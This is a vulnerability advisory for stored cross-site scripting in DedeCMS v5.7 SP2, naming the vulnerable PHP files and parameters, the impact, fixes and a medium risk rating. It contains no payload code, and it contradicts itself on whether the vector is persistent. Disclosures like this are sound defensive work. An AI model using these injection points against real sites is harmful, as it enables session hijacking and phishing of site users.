Product & Service Introduction:  
===============================  
Welcome to use the most professional PHP website content management  
system in China-Zhimeng content management system,  
he will be your first choice for easy website building. Adopt XML name  
space style core templates: all templates are  
saved in file form, which provides great convenience for users to design  
templates and website upgrade transfers.  
The robust template tags provide strong support for webmasters to DIY  
their own websites. High-efficiency tag caching  
mechanism: Allows the caching of similar tags. When generating HTML, it  
helps to improve the reaction speed of the  
system and reduce the resources consumed by the system.

Technical Details & Description:  
================================  
Multiple persistent cross site scripting vulnerabilities has been  
discovered in the official DedeCMS v5.7 SP2 UTF8 web-application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to compromise browser to  
web-application requests from the application-side.  
  
The persistent script code inject web vulnerabilities are located in the  
`activepath`, `keyword`, `tag`, `fmdo=x&filename`, `CKEditor`  
and `CKEditorFuncNum`parameters of the `file_pic_view.php`,  
`file_manage_view.php`, `tags_main.php`, `select_media.php`,  
`media_main.php` files.  
The attack vector of the vulnerability is non-persistent and the request  
method to inject is POST. Successful exploitation of the vulnerability  
results in session hijacking, persistent phishing attacks, persistent  
external redirects to malicious source and persistent manipulation  
of affected or connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable File(s):  
[+] file_pic_view.php  
[+] file_manage_view.php  
[+] tags_main.php  
[+] select_media.php  
[+] media_main.php  
  
Vulnerable Parameter(s):  
[+] tag  
[+] keyword  
[+] activepath  
[+] fmdo=move&filename & fmdo=edit&filename  
[+] CKEditor & CKEditor=body&CKEditorFuncNum  
  
  
Proof of Concept (PoC):  
=======================  
The web vulnerabilities can be exploited by remote attackers with  
privileged user account and with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.

Solution - Fix & Patch:  
=======================  
1. Parse the content to disallow html / js and special chars on the  
affected input fields  
2. Restrict the vulnerable paramter prevent injects via post method request  
3. Secure the output location were the content is insecure sanitized  
delivered as output  
  
  
Security Risk:  
==============  
The security risk of the application-side persistent cross site  
scripting web vulnerabilities in the different modules are estimated as  
medium.
